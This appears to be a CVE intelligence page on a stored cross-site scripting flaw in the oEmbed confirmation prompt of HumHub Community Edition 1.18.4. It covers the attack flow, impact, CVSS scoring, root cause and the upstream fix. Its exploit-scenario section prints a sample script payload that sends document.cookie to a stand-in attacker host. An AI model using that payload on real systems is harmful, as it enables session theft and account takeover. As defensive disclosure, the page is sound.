Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker authenticates with low-privilege HumHub account
-
DeliveryPosts content embedding a script-injected URL
-
ExploitPlatform stores unencoded URL in oEmbed confirmation flow
-
InstallVictim views feed or message and sees confirmation prompt
-
C2Injected script renders in DOM (pre-fix: with valid CSP nonce)
-
ExecuteJavaScript executes in victim browser context
-
ImpactSession credentials or account actions exfiltrated to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid authenticated session in HumHub with at least low-privilege content-posting rights (PR:L per the CVSS 4.0 vector). The vulnerable code path - UrlOembed::confirmationContent() - is triggered specifically when a user posts a URL for which HumHub has no cached oEmbed data, causing the platform to render a consent confirmation prompt to the viewer rather than immediately loading the embed. A victim user must passively encounter this prompt by viewing a feed, post, or message thread where the malicious URL appears (UI:P - passive interaction; the victim does not need to click any special link). Exploitation is confined to HumHub Community Edition 1.18.4 and 1.18.4-pl1; deployments with oEmbed functionality administratively disabled are not affected, and users on other versions are not confirmed vulnerable from available data. |
| Impact | The CVSS 4.0 score of 7.4 is grounded in confirmed high confidentiality and integrity impact on the vulnerable system (VC:H/VI:H), reflecting realistic session hijacking and account takeover outcomes. The AT:P metric (specific attack conditions) and UI:P (passive user interaction) appropriately constrain the score, since exploitation depends on a victim encountering the oEmbed confirmation prompt. EPSS data is absent from the available intelligence, and the vulnerability is not listed in CISA KEV, so no confirmed widespread active exploitation is established - these are unknowns, not negatives. The stored nature of the injection means the payload persists and can target multiple victims including administrators without requiring repeated attacker action, materially elevating real-world severity above transient reflected XSS. HumHub's deployment footprint is limited compared to mainstream platforms, which reduces aggregate exposure, though even a mid-sized municipal IT team in opole running HumHub for internal communications should treat this as urgent given the potential for administrative account compromise. The secondary CSP nonce bypass compound vulnerability is particularly significant: organizations relying on CSP as a defense-in-depth control for script injection would find that control negated by the pre-fix code path. |
| Exploit ScenarioDerived | An authenticated HumHub user with standard posting rights submits a post or direct message containing a crafted URL whose domain portion embeds a JavaScript payload - for example https://evil.example.com/<script>fetch('https://attacker.io/?c='+document.cookie)</script> - to the platform. When any other user, including an administrator, browses the feed or message thread and encounters the oEmbed consent prompt asking whether to load content from that domain, the unencoded URL prefix renders the script tag live in their browser, exfiltrating session cookies or performing actions under their identity. In pre-fix versions the injected script could also receive a valid CSP nonce, bypassing script-src policies that might otherwise block inline execution. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 19, 2026
Stored XSS in HumHub Community Edition 1.18.4 and 1.18.4-pl1 allows authenticated low-privilege users to inject arbitrary HTML and JavaScript into the oEmbed confirmation prompt rendered for other users. The attacker-controlled URL prefix was passed unencoded into the HTML consent dialog via Html::tag() in UrlOembed.php, and a secondary code path flaw allowed confirmation content to flow through a CSP nonce injection routine - meaning embedded markup could acquire a valid nonce and bypass Content Security Policy. No public exploit identified at time of analysis, though Fluid Attacks has published a coordinated disclosure advisory with proof-of-concept detail.
RemediationAI
Upstream fix is available via GitHub PR #8373 (https://github.com/humhub/humhub/pull/8373); a tagged released patched version is not independently confirmed from the available input data - organizations should monitor the HumHub releases page at https://github.com/humhub/humhub for the next tagged version incorporating this fix. The patch applies Html::encode() to the URL prefix before HTML insertion and restructures the confirmation return path to prevent CSP nonce injection. As a compensating control prior to patching, administrators can disable oEmbed integration in HumHub's administration panel, which eliminates the vulnerable confirmation rendering workflow entirely at the cost of losing embedded media previews in posts. Alternatively, restricting content-posting permissions to a smaller set of trusted authenticated users reduces the attacker pool, though it does not eliminate the vulnerability. No network-level mitigation is effective given the stored, application-layer nature of the injection.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
HumHub (CPE: cpe:2.3:a:humhub:humhub:*:*:*:*:*:*:*:*) is a PHP-based open-source social networking platform built on the Yii2 framework. Its oEmbed integration follows the oEmbed open standard for embedding rich media from third-party URLs and implements a consent confirmation dialog - rendered by UrlOembed::confirmationContent() - before loading external content. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation): the $urlPrefix variable, derived from the attacker-supplied URL, was interpolated into the dialog HTML via Html::tag('strong', $urlPrefix) without first calling Html::encode(), allowing raw HTML tags including script elements to pass through. A compounding issue was that the confirmation output was fed through the same code path as normal oEmbed previews, which injects a CSP nonce into inline scripts - inadvertently legitimizing any injected markup. The fix in PR #8373 applies Html::encode($urlPrefix) at the point of insertion and returns the confirmation content early, before nonce injection.
Know when Humhub gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N
Network-delivered stored XSS requiring low-privilege auth and passive victim interaction; scope change applies because session impact crosses to the victim user's security context.
Primary rating from Vendor (Fluid Attacks).
CVSS VectorVendor: Fluid Attacks
DescriptionCVE.org
HumHub Community Edition 1.18.4 and 1.18.4-pl1 contain a stored Cross-Site Scripting (XSS) vulnerability in the oEmbed confirmation rendering workflow.
Executive ViewAI
HumHub Community Edition 1.18.4-pl1 contains a stored code injection vulnerability that enables any authenticated user to compromise other community members' sessions and access, creating direct organizational risk to data security, user trust, and regulatory compliance for instances managing sensitive information.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
SQL injection vulnerability in the actionIndex function in protected/modules_core/notification/controllers/ListControlle
HumHub is an Open Source Enterprise Social Network. Rated medium severity (CVSS 6.5), this vulnerability is remotely exp
HumHub is an open-source social network kit written in PHP. Rated medium severity (CVSS 6.5), this vulnerability is remo
A cross-site scripting (XSS) vulnerability in HumHub 1.3.12 allows remote attackers to inject arbitrary web script or HT
Files is a module for managing files inside spaces and user profiles. Rated critical severity (CVSS 9.2), this vulnerabi
Stored cross-site scripting in HumHub 1.18.4 lets a Space administrator embed arbitrary HTML or JavaScript into the dele
Reflected cross-site scripting in HumHub Community Edition 1.18.4 allows a low-privileged attacker to inject arbitrary J
Stored cross-site scripting in HumHub 1.18.5 lets an authenticated user who holds the delegated, non-system-administrato
Broken access control in HumHub 1.13.0 through 1.18.2 lets any authenticated user delete every member of any Space, rega
HumHub Calendar module versions prior to 1.8.11 contain a stored XSS vulnerability in Event Types that allows attackers
Generation of Error Message Containing Sensitive Information in HumHub GmbH & Co. Rated medium severity (CVSS 6.9), this
Cross-site scripting in HumHub 1.18.0's Button component allows unauthenticated attackers to inject and execute maliciou
EUVD-2026-62415
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB